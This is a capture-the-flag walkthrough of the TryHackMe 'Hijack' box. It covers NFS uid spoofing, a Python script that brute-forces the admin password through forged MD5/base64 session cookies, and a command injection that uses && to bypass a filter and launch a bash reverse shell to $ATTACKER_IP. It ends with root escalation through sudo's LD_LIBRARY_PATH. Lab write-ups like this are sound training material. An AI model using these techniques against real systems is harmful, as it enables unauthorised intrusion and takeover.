writeups/tryhackme/Hijack.md

8.2 KiB

Hijack Writeup

This is a writeup for the Tryhackme challenge Hijack

Enumeration

First, nmap as follows:

nmap --min-rate 4000 -p- 10.10.16.106
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-21 11:56 CEST
Nmap scan report for 10.10.16.106
Host is up (0.063s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
38490/tcp open  unknown
44511/tcp open  unknown
49338/tcp open  unknown
57526/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 18.56 seconds

Since there is an NFS I want to take a look at it.

showmount -e 10.10.16.106
Export list for 10.10.16.106:
/mnt/share *

So, there is a share I can mount in the following way

mkdir /tmp/nfsfiles
sudo mount -t nfs 10.10.16.106: /tmp/nfsfiles

A look at the file permissions tells me, that a user with uid 1003 created the share. Therefore, a user with the same uid on the local attack machine, where the share has been mounted, is needed to get permissions to open the directory.

ls -l nfsfiles/mnt/

drwx------ 2 1003 1003 4096 Aug  8 21:28 share
sudo useradd hijack -u 1003  -m -s /bin/bash

Now switch to the user and take a look at the inside of the share.

sudo su hijack

ls -la nfsfiles/mnt/share/
total 12
drwx------ 2 hijack hijack 4096 Aug  8 21:28 .
drwxr-xr-x 3 root   root   4096 Aug  8 21:28 ..
-rwx------ 1 hijack hijack   46 Aug  8 21:28 for_employees.txt

Taking a look at the file provides the following

cat nfsfiles/mnt/share/for_employees.txt

ftp creds :

ftpuser:XXXXXXXXXXXXXXXXXXXXXXXX

Next up, using the credentials on the ftp server

ftp ftpuser@10.10.16.106
Connected to 10.10.16.106.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||38678|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Aug 08 19:28 .
drwxr-xr-x    2 1002     1002         4096 Aug 08 19:28 ..
-rwxr-xr-x    1 1002     1002          220 Aug 08 19:28 .bash_logout
-rwxr-xr-x    1 1002     1002         3771 Aug 08 19:28 .bashrc
-rw-r--r--    1 1002     1002          368 Aug 08 19:28 .from_admin.txt
-rw-r--r--    1 1002     1002         3150 Aug 08 19:28 .passwords_list.txt
-rwxr-xr-x    1 1002     1002          655 Aug 08 19:28 .profile
226 Directory send OK.

Two files are .from_admin.txt and .password_list.txt are of special interest . The former file contains the following

To all employees, this is "admin" speaking,
i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.

NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.

The latter is a list of random passwords the admin seems to have created earlier.

Exploitation

At first I tried to circumvent the rate limiting, which took a lot of time and led nowhere in the end. The key is the PHPSESSID cookie, it looked a bit suspicious so I tried to decode it for the user I created on the page.

d2h4OmE4ZjVmMTY3ZjQ0ZjQ5NjRlNmM5OThkZWU4MjcxMTBj

decoded to

whx:a8f5f167f44f4964e6c998dee827110c

That hash looked a lot like an md5 hash, so I compared it to the password I used

echo -n "asdasd" | md5sum
a8f5f167f44f4964e6c998dee827110c  -

After that I created a Python script to hash & encode the cookie before iterating the list and in this way I got the correct password.

import hashlib
import base64
import requests

URL = "http://10.10.16.106/administration.php"

with open ("./ftp/passwords_list.txt", 'r') as _f:
    data = [x.strip() for x in _f.readlines()]

r = requests.get(URL)
page_content = r.text
print(r)

for line in data:
    _hash = hashlib.md5(line.encode('utf-8')).hexdigest().encode('utf-8')
    concat_str = b'admin:' + _hash
    _b64hash = base64.b64encode(concat_str).decode()
    print(_b64hash)
    headers = { "Cookie": f"PHPSESSID={_b64hash}"}
    r = requests.get(URL, headers=headers)
    if len(r.text) > len(page_content):
        print("password: " + line)
        print("cookie: " + _b64hash)
        break

After login there is a Service Status Checker on the administration page. You can see the status of services/daemons installed on the box of the challenge through systemctl status <command>. My first impression was to just chain commands through ; like ssh ; id, but that ended in

Command injection detected, please provide a service.

Most of the commonly used shells have boolean operators like && and || as a condition for the previous exit status code. For example in bash you can check the status code of the last command that was executed via echo $?. That means && is true if the previous command would return a 0 otherwise || is true and the command afterwards will be executed. These operators are not blocked by the page, it is possible to chain commands like this

sshd && bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"

Catch the shell via nc -lvnp 4444 and upgrade it.

Privilege Escalation

On the target config.php contains credentials for the user rick.

 cat config.php
<?php
$servername = "localhost";
$username = "rick";
$password = "XXXXXXXXXXXXXXXXXXX";
$dbname = "hijack";

// Create connection
$mysqli = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($mysqli->connect_error) {
  die("Connection failed: " . $mysqli->connect_error);
}
?>

So, I switched to the user using su rick and got the first flag inside /home/rick/user.txt. One of the first things to check on gained privileges is the current user's permissions on the availability of substituting other users, usually using sudo.

su rick
Password: 

rick@Hijack:/var/www/html$ sudo -l
[sudo] password for rick: 
Matching Defaults entries for rick on Hijack:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_LIBRARY_PATH

User rick may run the following commands on Hijack:
    (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

Checking permissions did provide the inability to write on any of the files that are contained in the command that can be run through sudo for user rick. That means, the next best thing to concentrate on is env_keep+=LD_LIBRARY_PATH. Hacktricks' page on linux privilege escalation contains a section for LD_LIBRARY_PATH. I Compiled the library and preloaded it on the same line as the available sudo command. Through this method I was able to spawn a root shell.

rick@Hijack:/tmp$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

root@Hijack:/tmp#

The flag can be found inside the root directory

root@Hijack:/tmp# cat /root/root.txt

██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝

THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}

The box was fun :) Thanks to 0utc4s7 and Happy Hacking!